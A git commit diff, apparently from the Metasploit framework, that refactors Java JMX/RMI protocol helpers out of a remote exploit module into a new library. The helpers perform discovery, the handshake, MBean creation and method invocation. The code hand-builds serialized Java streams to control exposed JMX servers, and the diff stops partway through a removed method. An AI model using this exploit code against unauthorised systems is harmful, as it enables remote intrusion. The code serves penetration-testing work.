Do first and ugly refactoring
parent
26789fa76c
commit
00117fc963
|
@ -78,6 +78,9 @@ require 'msf/kerberos/client'
|
|||
# Java RMI Support
|
||||
require 'msf/rmi/client'
|
||||
|
||||
# Java JMX Support
|
||||
require 'msf/jmx'
|
||||
|
||||
# Drivers
|
||||
require 'msf/core/exploit_driver'
|
||||
|
||||
|
|
|
@ -0,0 +1,48 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
module Jmx
|
||||
require 'msf/jmx/discovery'
|
||||
require 'msf/jmx/handshake'
|
||||
require 'msf/jmx/mbean'
|
||||
|
||||
include Msf::Jmx::Discovery
|
||||
include Msf::Jmx::Handshake
|
||||
include Msf::Jmx::MBean
|
||||
|
||||
def get_instance_answer(stream)
|
||||
new_object = nil
|
||||
|
||||
if stream.contents[1]
|
||||
new_object = stream.contents[1]
|
||||
else
|
||||
print_error("#{peer} - getObjectInstance returned an incorrect answer")
|
||||
return nil
|
||||
end
|
||||
|
||||
unless new_object.class == Rex::Java::Serialization::Model::NewObject
|
||||
print_error("#{peer} - getObjectInstance didn't return a new object")
|
||||
return nil
|
||||
end
|
||||
|
||||
new_object.class_desc.description.class_name.contents
|
||||
end
|
||||
|
||||
def get_mbean_from_url_answer(stream)
|
||||
new_object = nil
|
||||
|
||||
if stream.contents[3]
|
||||
new_object = stream.contents[3]
|
||||
else
|
||||
print_error("#{peer} - getMBeansFromURL returned an incorrect answer")
|
||||
return nil
|
||||
end
|
||||
|
||||
unless new_object.class == Rex::Java::Serialization::Model::NewObject
|
||||
print_error("#{peer} - getMBeansFromURL didn't return a new object")
|
||||
return nil
|
||||
end
|
||||
|
||||
new_object.class_desc.description.class_name.contents
|
||||
end end
|
||||
end
|
|
@ -0,0 +1,82 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
module Jmx
|
||||
module Discovery
|
||||
def build_discovery
|
||||
stream = Rex::Java::Serialization::Model::Stream.new
|
||||
|
||||
block_data = Rex::Java::Serialization::Model::BlockData.new
|
||||
block_data.contents = "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||
block_data.contents << "\x00\x00\x00\x02\x44\x15\x4d\xc9\xd4\xe6\x3b\xdf"
|
||||
block_data.length = block_data.contents.length
|
||||
|
||||
stream.contents << block_data
|
||||
|
||||
stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, 'jmxrmi')
|
||||
|
||||
stream
|
||||
end
|
||||
|
||||
def extract_mbean_server(stream)
|
||||
my_block = false
|
||||
stub = false
|
||||
i = 0
|
||||
stub_index = 0
|
||||
stream.contents.each do |content|
|
||||
if content.class == Rex::Java::Serialization::Model::BlockData && i == 0
|
||||
my_block = true
|
||||
end
|
||||
|
||||
if content.class == Rex::Java::Serialization::Model::NewObject && content.class_desc.description.class_name.contents == 'javax.management.remote.rmi.RMIServerImpl_Stub'
|
||||
stub = true
|
||||
stub_index = i
|
||||
break
|
||||
end
|
||||
i = i + 1
|
||||
end
|
||||
|
||||
unless my_block && stub
|
||||
return nil
|
||||
end
|
||||
|
||||
my_block_id = stream.contents[0].contents[1..-1]
|
||||
|
||||
block_data = stream.contents[stub_index + 1]
|
||||
data_io = StringIO.new(block_data.contents)
|
||||
|
||||
ref_length = data_io.read(2)
|
||||
unless ref_length && ref_length.length == 2
|
||||
return nil
|
||||
end
|
||||
ref_length = ref_length.unpack('n')[0]
|
||||
|
||||
ref = data_io.read(ref_length)
|
||||
unless ref && ref.length == ref_length && ref == 'UnicastRef'
|
||||
return nil
|
||||
end
|
||||
|
||||
address_length = data_io.read(2)
|
||||
unless address_length && address_length.length == 2
|
||||
return nil
|
||||
end
|
||||
address_length = address_length.unpack('n')[0]
|
||||
|
||||
address = data_io.read(address_length)
|
||||
unless address && address.length == address_length
|
||||
return nil
|
||||
end
|
||||
|
||||
port = data_io.read(4)
|
||||
unless port && port.length == 4
|
||||
return nil
|
||||
end
|
||||
port = port.unpack('N')[0]
|
||||
|
||||
id = data_io.read
|
||||
|
||||
{ address: address, port: port, id: id, my_id: my_block_id }
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,105 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
module Jmx
|
||||
module Handshake
|
||||
def build_handshake(id)
|
||||
stream = Rex::Java::Serialization::Model::Stream.new
|
||||
|
||||
block_data = Rex::Java::Serialization::Model::BlockData.new
|
||||
block_data.contents = id + "\xff\xff\xff\xff\xf0\xe0\x74\xea\xad\x0c\xae\xa8"
|
||||
block_data.length = block_data.contents.length
|
||||
|
||||
stream.contents << block_data
|
||||
|
||||
if datastore['USERNAME']
|
||||
username = datastore['USERNAME']
|
||||
password = datastore['PASSWORD'] || ''
|
||||
|
||||
stream.contents << build_array_auth(username, password)
|
||||
else
|
||||
stream.contents << Rex::Java::Serialization::Model::NullReference.new
|
||||
end
|
||||
|
||||
stream
|
||||
end
|
||||
|
||||
def build_array_auth(username, password)
|
||||
auth_array_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
|
||||
auth_array_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[Ljava.lang.String;')
|
||||
auth_array_class_desc.serial_version = 0xadd256e7e91d7b47
|
||||
auth_array_class_desc.flags = 2
|
||||
auth_array_class_desc.fields = []
|
||||
auth_array_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
|
||||
auth_array_class_desc.class_annotation.contents = [
|
||||
Rex::Java::Serialization::Model::NullReference.new,
|
||||
Rex::Java::Serialization::Model::EndBlockData.new
|
||||
]
|
||||
auth_array_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
|
||||
auth_array_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new
|
||||
|
||||
auth_array = Rex::Java::Serialization::Model::NewArray.new
|
||||
auth_array.array_description = Rex::Java::Serialization::Model::ClassDesc.new
|
||||
auth_array.array_description.description = auth_array_class_desc
|
||||
auth_array.type = 'java.lang.String;'
|
||||
auth_array.values = [
|
||||
Rex::Java::Serialization::Model::Utf.new(nil, username),
|
||||
Rex::Java::Serialization::Model::Utf.new(nil, password)
|
||||
]
|
||||
|
||||
auth_array
|
||||
end
|
||||
|
||||
def extract_rmi_connection_stub(stream)
|
||||
stub = false
|
||||
stub_index = 0
|
||||
stream.contents.each do |content|
|
||||
if content.class == Rex::Java::Serialization::Model::NewObject && content.class_desc.description.class_name.contents == 'javax.management.remote.rmi.RMIConnectionImpl_Stub'
|
||||
stub = true
|
||||
break
|
||||
end
|
||||
stub_index = stub_index + 1
|
||||
end
|
||||
|
||||
unless stub
|
||||
return nil
|
||||
end
|
||||
|
||||
block_data = stream.contents[stub_index + 1]
|
||||
data_io = StringIO.new(block_data.contents)
|
||||
|
||||
ref_length = data_io.read(2)
|
||||
unless ref_length && ref_length.length == 2
|
||||
return nil
|
||||
end
|
||||
ref_length = ref_length.unpack('n')[0]
|
||||
|
||||
ref = data_io.read(ref_length)
|
||||
unless ref && ref.length == ref_length && ref == 'UnicastRef'
|
||||
return nil
|
||||
end
|
||||
|
||||
address_length = data_io.read(2)
|
||||
unless address_length && address_length.length == 2
|
||||
return nil
|
||||
end
|
||||
address_length = address_length.unpack('n')[0]
|
||||
|
||||
address = data_io.read(address_length)
|
||||
unless address && address.length == address_length
|
||||
return nil
|
||||
end
|
||||
|
||||
port = data_io.read(4)
|
||||
unless port && port.length == 4
|
||||
return nil
|
||||
end
|
||||
port = port.unpack('N')[0]
|
||||
|
||||
id = data_io.read
|
||||
|
||||
{ address: address, port: port, :id => id }
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,11 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
module Jmx
|
||||
module MBean
|
||||
require 'msf/jmx/mbean/server_connection'
|
||||
|
||||
include Msf::Jmx::MBean::ServerConnection
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,213 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
module Jmx
|
||||
module MBean
|
||||
module ServerConnection
|
||||
|
||||
def build_create_instance(id, name)
|
||||
stream = Rex::Java::Serialization::Model::Stream.new
|
||||
|
||||
block_data = Rex::Java::Serialization::Model::BlockData.new
|
||||
block_data.contents << id
|
||||
block_data.contents << "\xff\xff\xff\xff\x22\xd7\xfd\x4a\x90\x6a\xc8\xe6"
|
||||
block_data.length = block_data.contents.length
|
||||
|
||||
stream.contents << block_data
|
||||
stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, name)
|
||||
stream.contents << Rex::Java::Serialization::Model::NullReference.new
|
||||
stream.contents << Rex::Java::Serialization::Model::NullReference.new
|
||||
|
||||
stream
|
||||
end
|
||||
|
||||
def build_get_instance(id, name)
|
||||
stream = Rex::Java::Serialization::Model::Stream.new
|
||||
|
||||
block_data = Rex::Java::Serialization::Model::BlockData.new
|
||||
block_data.contents = id
|
||||
block_data.contents << "\xff\xff\xff\xff\x60\x73\xb3\x36\x1f\x37\xbd\xc2"
|
||||
block_data.length = block_data.contents.length
|
||||
|
||||
stream.contents << block_data
|
||||
|
||||
new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
|
||||
new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'javax.management.ObjectName')
|
||||
new_class_desc.serial_version = 0xf03a71beb6d15cf
|
||||
new_class_desc.flags = 3
|
||||
new_class_desc.fields = []
|
||||
new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
|
||||
new_class_desc.class_annotation.contents = [
|
||||
Rex::Java::Serialization::Model::NullReference.new,
|
||||
Rex::Java::Serialization::Model::EndBlockData.new
|
||||
]
|
||||
new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
|
||||
new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new
|
||||
|
||||
new_object = Rex::Java::Serialization::Model::NewObject.new
|
||||
new_object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new
|
||||
new_object.class_desc.description = new_class_desc
|
||||
new_object.class_data = []
|
||||
|
||||
stream.contents << new_object
|
||||
stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, name)
|
||||
stream.contents << Rex::Java::Serialization::Model::EndBlockData.new
|
||||
stream.contents << Rex::Java::Serialization::Model::NullReference.new
|
||||
|
||||
stream
|
||||
end
|
||||
|
||||
def build_invoke(id, object_name, method_name, arguments)
|
||||
stream = Rex::Java::Serialization::Model::Stream.new
|
||||
|
||||
block_data = Rex::Java::Serialization::Model::BlockData.new
|
||||
block_data.contents = id
|
||||
block_data.contents << "\xff\xff\xff\xff\x13\xe7\xd6\x94\x17\xe5\xda\x20"
|
||||
block_data.length = block_data.contents.length
|
||||
|
||||
stream.contents << block_data
|
||||
|
||||
new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
|
||||
new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'javax.management.ObjectName')
|
||||
new_class_desc.serial_version = 0xf03a71beb6d15cf
|
||||
new_class_desc.flags = 3
|
||||
new_class_desc.fields = []
|
||||
new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
|
||||
new_class_desc.class_annotation.contents = [
|
||||
Rex::Java::Serialization::Model::NullReference.new,
|
||||
Rex::Java::Serialization::Model::EndBlockData.new
|
||||
]
|
||||
new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
|
||||
new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new
|
||||
|
||||
new_object = Rex::Java::Serialization::Model::NewObject.new
|
||||
new_object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new
|
||||
new_object.class_desc.description = new_class_desc
|
||||
new_object.class_data = []
|
||||
|
||||
stream.contents << new_object
|
||||
stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, object_name)
|
||||
stream.contents << Rex::Java::Serialization::Model::EndBlockData.new
|
||||
|
||||
stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, method_name)
|
||||
|
||||
marshall_object_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
|
||||
marshall_object_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'java.rmi.MarshalledObject')
|
||||
marshall_object_class_desc.serial_version = 0x7cbd1e97ed63fc3e
|
||||
marshall_object_class_desc.flags = 2
|
||||
marshall_object_class_desc.fields = [
|
||||
Rex::Java::Serialization::Model::Field.new,
|
||||
Rex::Java::Serialization::Model::Field.new,
|
||||
Rex::Java::Serialization::Model::Field.new
|
||||
]
|
||||
|
||||
marshall_object_class_desc.fields[0].type = 'int'
|
||||
marshall_object_class_desc.fields[0].name = Rex::Java::Serialization::Model::Utf.new(nil, 'hash')
|
||||
|
||||
marshall_object_class_desc.fields[1].type = 'array'
|
||||
marshall_object_class_desc.fields[1].name = Rex::Java::Serialization::Model::Utf.new(nil, 'locBytes')
|
||||
marshall_object_class_desc.fields[1].field_type = Rex::Java::Serialization::Model::Utf.new(nil, '[B')
|
||||
|
||||
marshall_object_class_desc.fields[2].type = 'array'
|
||||
marshall_object_class_desc.fields[2].name = Rex::Java::Serialization::Model::Utf.new(nil, 'objBytes')
|
||||
marshall_object_class_desc.fields[2].field_type = Rex::Java::Serialization::Model::Utf.new(nil, '[B')
|
||||
|
||||
marshall_object_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
|
||||
marshall_object_class_desc.class_annotation.contents = [
|
||||
Rex::Java::Serialization::Model::NullReference.new,
|
||||
Rex::Java::Serialization::Model::EndBlockData.new
|
||||
]
|
||||
marshall_object_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
|
||||
marshall_object_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new
|
||||
|
||||
|
||||
data_binary_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
|
||||
data_binary_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[B')
|
||||
data_binary_class_desc.serial_version = 0xacf317f8060854e0
|
||||
data_binary_class_desc.flags = 2
|
||||
data_binary_class_desc.fields = []
|
||||
data_binary_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
|
||||
data_binary_class_desc.class_annotation.contents = [
|
||||
Rex::Java::Serialization::Model::NullReference.new,
|
||||
Rex::Java::Serialization::Model::EndBlockData.new
|
||||
]
|
||||
data_binary_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
|
||||
data_binary_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new
|
||||
|
||||
data_binary = Rex::Java::Serialization::Model::NewArray.new
|
||||
data_binary.array_description = Rex::Java::Serialization::Model::ClassDesc.new
|
||||
data_binary.array_description.description = data_binary_class_desc
|
||||
data_binary.type = 'byte'
|
||||
data_binary.values = marshalled_argument(arguments).encode.unpack('C*')
|
||||
|
||||
marshall_object = Rex::Java::Serialization::Model::NewObject.new
|
||||
marshall_object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new
|
||||
marshall_object.class_desc.description = marshall_object_class_desc
|
||||
marshall_object.class_data = [
|
||||
["int", 1919492550],
|
||||
Rex::Java::Serialization::Model::NullReference.new,
|
||||
data_binary
|
||||
]
|
||||
|
||||
stream.contents << marshall_object
|
||||
|
||||
new_array_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
|
||||
new_array_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[Ljava.lang.String;')
|
||||
new_array_class_desc.serial_version = 0xadd256e7e91d7b47
|
||||
new_array_class_desc.flags = 2
|
||||
new_array_class_desc.fields = []
|
||||
new_array_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
|
||||
new_array_class_desc.class_annotation.contents = [
|
||||
Rex::Java::Serialization::Model::NullReference.new,
|
||||
Rex::Java::Serialization::Model::EndBlockData.new
|
||||
]
|
||||
new_array_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
|
||||
new_array_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new
|
||||
|
||||
new_array = Rex::Java::Serialization::Model::NewArray.new
|
||||
new_array.array_description = Rex::Java::Serialization::Model::ClassDesc.new
|
||||
new_array.array_description.description = new_array_class_desc
|
||||
new_array.type = 'java.lang.String;'
|
||||
new_array.values = []
|
||||
arguments.keys.each do |k|
|
||||
new_array.values << Rex::Java::Serialization::Model::Utf.new(nil, k)
|
||||
end
|
||||
|
||||
stream.contents << new_array
|
||||
|
||||
stream.contents << Rex::Java::Serialization::Model::NullReference.new
|
||||
|
||||
stream
|
||||
end
|
||||
|
||||
def marshalled_argument(arguments)
|
||||
stream = Rex::Java::Serialization::Model::Stream.new
|
||||
|
||||
new_array_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
|
||||
new_array_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[Ljava.lang.Object;')
|
||||
new_array_class_desc.serial_version = 0x90ce589f1073296c
|
||||
new_array_class_desc.flags = 2
|
||||
new_array_class_desc.fields = []
|
||||
new_array_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
|
||||
new_array_class_desc.class_annotation.contents = [
|
||||
Rex::Java::Serialization::Model::EndBlockData.new
|
||||
]
|
||||
new_array_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
|
||||
new_array_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new
|
||||
|
||||
new_array = Rex::Java::Serialization::Model::NewArray.new
|
||||
new_array.array_description = Rex::Java::Serialization::Model::ClassDesc.new
|
||||
new_array.array_description.description = new_array_class_desc
|
||||
new_array.type = 'java.lang.Object;'
|
||||
new_array.values = [ ]
|
||||
arguments.values.each do |v|
|
||||
new_array.values << Rex::Java::Serialization::Model::Utf.new(nil, v)
|
||||
end
|
||||
stream.contents << new_array
|
||||
|
||||
stream
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -8,6 +8,7 @@ require 'msf/core'
|
|||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Jmx
|
||||
include Msf::Exploit::Remote::HttpServer
|
||||
include Msf::Rmi::Client
|
||||
|
||||
|
@ -113,8 +114,6 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
return_data = recv_return(sock: server_sock)
|
||||
|
||||
print_status("#{return_data}")
|
||||
|
||||
if return_data.nil?
|
||||
fail_with(Failure::Unknown, "#{peer} - Failed to send handshake")
|
||||
end
|
||||
|
@ -173,104 +172,6 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
disconnect
|
||||
end
|
||||
|
||||
def build_handshake(id)
|
||||
stream = Rex::Java::Serialization::Model::Stream.new
|
||||
|
||||
block_data = Rex::Java::Serialization::Model::BlockData.new
|
||||
block_data.contents = id + "\xff\xff\xff\xff\xf0\xe0\x74\xea\xad\x0c\xae\xa8"
|
||||
block_data.length = block_data.contents.length
|
||||
|
||||
stream.contents << block_data
|
||||
|
||||
if datastore['USERNAME']
|
||||
username = datastore['USERNAME']
|
||||
password = datastore['PASSWORD'] || ''
|
||||
|
||||
stream.contents << build_array_auth(username, password)
|
||||
else
|
||||
stream.contents << Rex::Java::Serialization::Model::NullReference.new
|
||||
end
|
||||
|
||||
stream
|
||||
end
|
||||
|
||||
def build_array_auth(username, password)
|
||||
auth_array_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
|
||||
auth_array_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[Ljava.lang.String;')
|
||||
auth_array_class_desc.serial_version = 0xadd256e7e91d7b47
|
||||
auth_array_class_desc.flags = 2
|
||||
auth_array_class_desc.fields = []
|
||||
auth_array_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
|
||||
auth_array_class_desc.class_annotation.contents = [
|
||||
Rex::Java::Serialization::Model::NullReference.new,
|
||||
Rex::Java::Serialization::Model::EndBlockData.new
|
||||
]
|
||||
auth_array_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
|
||||
auth_array_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new
|
||||
|
||||
auth_array = Rex::Java::Serialization::Model::NewArray.new
|
||||
auth_array.array_description = Rex::Java::Serialization::Model::ClassDesc.new
|
||||
auth_array.array_description.description = auth_array_class_desc
|
||||
auth_array.type = 'java.lang.String;'
|
||||
auth_array.values = [
|
||||
Rex::Java::Serialization::Model::Utf.new(nil, username),
|
||||
Rex::Java::Serialization::Model::Utf.new(nil, password)
|
||||
]
|
||||
|
||||
auth_array
|
||||
end
|
||||
|
||||
def extract_rmi_connection_stub(stream)
|
||||
stub = false
|
||||
stub_index = 0
|
||||
stream.contents.each do |content|
|
||||
if content.class == Rex::Java::Serialization::Model::NewObject && content.class_desc.description.class_name.contents == 'javax.management.remote.rmi.RMIConnectionImpl_Stub'
|
||||
stub = true
|
||||
break
|
||||
end
|
||||
stub_index = stub_index + 1
|
||||
end
|
||||
|
||||
unless stub
|
||||
return nil
|
||||
end
|
||||
|
||||
block_data = stream.contents[stub_index + 1]
|
||||
data_io = StringIO.new(block_data.contents)
|
||||
|
||||
ref_length = data_io.read(2)
|
||||
unless ref_length && ref_length.length == 2
|
||||
return nil
|
||||
end
|
||||
ref_length = ref_length.unpack('n')[0]
|
||||
|
||||
ref = data_io.read(ref_length)
|
||||
unless ref && ref.length == ref_length && ref == 'UnicastRef'
|
||||
return nil
|
||||
end
|
||||
|
||||
address_length = data_io.read(2)
|
||||
unless address_length && address_length.length == 2
|
||||
return nil
|
||||
end
|
||||
address_length = address_length.unpack('n')[0]
|
||||
|
||||
address = data_io.read(address_length)
|
||||
unless address && address.length == address_length
|
||||
return nil
|
||||
end
|
||||
|
||||
port = data_io.read(4)
|
||||
unless port && port.length == 4
|
||||
return nil
|
||||
end
|
||||
port = port.unpack('N')[0]
|
||||
|
||||
id = data_io.read
|
||||
|
||||
{ address: address, port: port, :id => id }
|
||||
end
|
||||
|
||||
def get_mbean_server
|
||||
print_status("#{peer} - Sending RMI Header...")
|
||||
connect
|
||||
|
@ -303,302 +204,6 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
mbean_server
|
||||
end
|
||||
|
||||
def build_discovery
|
||||
stream = Rex::Java::Serialization::Model::Stream.new
|
||||
|
||||
block_data = Rex::Java::Serialization::Model::BlockData.new
|
||||
block_data.contents = "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||
block_data.contents << "\x00\x00\x00\x02\x44\x15\x4d\xc9\xd4\xe6\x3b\xdf"
|
||||
block_data.length = block_data.contents.length
|
||||
|
||||
stream.contents << block_data
|
||||
|
||||
stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, 'jmxrmi')
|
||||
|
||||
stream
|
||||
end
|
||||
|
||||
def extract_mbean_server(stream)
|
||||
my_block = false
|
||||
stub = false
|
||||
i = 0
|
||||
stub_index = 0
|
||||
stream.contents.each do |content|
|
||||
if content.class == Rex::Java::Serialization::Model::BlockData && i == 0
|
||||
my_block = true
|
||||
end
|
||||
|
||||
if content.class == Rex::Java::Serialization::Model::NewObject && content.class_desc.description.class_name.contents == 'javax.management.remote.rmi.RMIServerImpl_Stub'
|
||||
stub = true
|
||||
stub_index = i
|
||||
break
|
||||
end
|
||||
i = i + 1
|
||||
end
|
||||
|
||||
unless my_block && stub
|
||||
return nil
|
||||
end
|
||||
|
||||
my_block_id = stream.contents[0].contents[1..-1]
|
||||
|
||||
block_data = stream.contents[stub_index + 1]
|
||||
data_io = StringIO.new(block_data.contents)
|
||||
|
||||
ref_length = data_io.read(2)
|
||||
unless ref_length && ref_length.length == 2
|
||||
return nil
|
||||
end
|
||||
ref_length = ref_length.unpack('n')[0]
|
||||
|
||||
ref = data_io.read(ref_length)
|
||||
unless ref && ref.length == ref_length && ref == 'UnicastRef'
|
||||
return nil
|
||||
end
|
||||
|
||||
address_length = data_io.read(2)
|
||||
unless address_length && address_length.length == 2
|
||||
return nil
|
||||
end
|
||||
address_length = address_length.unpack('n')[0]
|
||||
|
||||
address = data_io.read(address_length)
|
||||
unless address && address.length == address_length
|
||||
return nil
|
||||
end
|
||||
|
||||
port = data_io.read(4)
|
||||
unless port && port.length == 4
|
||||
return nil
|
||||
end
|
||||
port = port.unpack('N')[0]
|
||||
|
||||
id = data_io.read
|
||||
|
||||
{ address: address, port: port, id: id, my_id: my_block_id }
|
||||
end
|
||||
|
||||
def build_get_instance(id, name)
|
||||
stream = Rex::Java::Serialization::Model::Stream.new
|
||||
|
||||
block_data = Rex::Java::Serialization::Model::BlockData.new
|
||||
block_data.contents = id
|
||||
block_data.contents << "\xff\xff\xff\xff\x60\x73\xb3\x36\x1f\x37\xbd\xc2"
|
||||
block_data.length = block_data.contents.length
|
||||
|
||||
stream.contents << block_data
|
||||
|
||||
new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
|
||||
new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'javax.management.ObjectName')
|
||||
new_class_desc.serial_version = 0xf03a71beb6d15cf
|
||||
new_class_desc.flags = 3
|
||||
new_class_desc.fields = []
|
||||
new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
|
||||
new_class_desc.class_annotation.contents = [
|
||||
Rex::Java::Serialization::Model::NullReference.new,
|
||||
Rex::Java::Serialization::Model::EndBlockData.new
|
||||
]
|
||||
new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
|
||||
new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new
|
||||
|
||||
new_object = Rex::Java::Serialization::Model::NewObject.new
|
||||
new_object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new
|
||||
new_object.class_desc.description = new_class_desc
|
||||
new_object.class_data = []
|
||||
|
||||
stream.contents << new_object
|
||||
stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, name)
|
||||
stream.contents << Rex::Java::Serialization::Model::EndBlockData.new
|
||||
stream.contents << Rex::Java::Serialization::Model::NullReference.new
|
||||
|
||||
stream
|
||||
end
|
||||
|
||||
def get_instance_answer(stream)
|
||||
new_object = nil
|
||||
|
||||
if stream.contents[1]
|
||||
new_object = stream.contents[1]
|
||||
else
|
||||
print_error("#{peer} - getObjectInstance returned an incorrect answer")
|
||||
return nil
|
||||
end
|
||||
|
||||
unless new_object.class == Rex::Java::Serialization::Model::NewObject
|
||||
print_error("#{peer} - getObjectInstance didn't return a new object")
|
||||
return nil
|
||||
end
|
||||
|
||||
new_object.class_desc.description.class_name.contents
|
||||
end
|
||||
|
||||
def build_create_instance(id, name)
|
||||
stream = Rex::Java::Serialization::Model::Stream.new
|
||||
|
||||
block_data = Rex::Java::Serialization::Model::BlockData.new
|
||||
block_data.contents << id
|
||||
block_data.contents << "\xff\xff\xff\xff\x22\xd7\xfd\x4a\x90\x6a\xc8\xe6"
|
||||
block_data.length = block_data.contents.length
|
||||
|
||||
stream.contents << block_data
|
||||
stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, name)
|
||||
stream.contents << Rex::Java::Serialization::Model::NullReference.new
|
||||
stream.contents << Rex::Java::Serialization::Model::NullReference.new
|
||||
|
||||
stream
|
||||
end
|
||||
|
||||
def build_invoke(id, object_name, method_name, arguments)
|
||||
stream = Rex::Java::Serialization::Model::Stream.new
|
||||
|
||||
block_data = Rex::Java::Serialization::Model::BlockData.new
|
||||
block_data.contents = id
|
||||
block_data.contents << "\xff\xff\xff\xff\x13\xe7\xd6\x94\x17\xe5\xda\x20"
|
||||
block_data.length = block_data.contents.length
|
||||
|
||||
stream.contents << block_data
|
||||
|
||||
new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
|
||||
new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'javax.management.ObjectName')
|
||||
new_class_desc.serial_version = 0xf03a71beb6d15cf
|
||||
new_class_desc.flags = 3
|
||||
new_class_desc.fields = []
|
||||
new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
|
||||
new_class_desc.class_annotation.contents = [
|
||||
Rex::Java::Serialization::Model::NullReference.new,
|
||||
Rex::Java::Serialization::Model::EndBlockData.new
|
||||
]
|
||||
new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
|
||||
new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new
|
||||
|
||||
new_object = Rex::Java::Serialization::Model::NewObject.new
|
||||
new_object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new
|
||||
new_object.class_desc.description = new_class_desc
|
||||
new_object.class_data = []
|
||||
|
||||
stream.contents << new_object
|
||||
stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, object_name)
|
||||
stream.contents << Rex::Java::Serialization::Model::EndBlockData.new
|
||||
|
||||
stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, method_name)
|
||||
|
||||
marshall_object_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
|
||||
marshall_object_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'java.rmi.MarshalledObject')
|
||||
marshall_object_class_desc.serial_version = 0x7cbd1e97ed63fc3e
|
||||
marshall_object_class_desc.flags = 2
|
||||
marshall_object_class_desc.fields = [
|
||||
Rex::Java::Serialization::Model::Field.new,
|
||||
Rex::Java::Serialization::Model::Field.new,
|
||||
Rex::Java::Serialization::Model::Field.new
|
||||
]
|
||||
|
||||
marshall_object_class_desc.fields[0].type = 'int'
|
||||
marshall_object_class_desc.fields[0].name = Rex::Java::Serialization::Model::Utf.new(nil, 'hash')
|
||||
|
||||
marshall_object_class_desc.fields[1].type = 'array'
|
||||
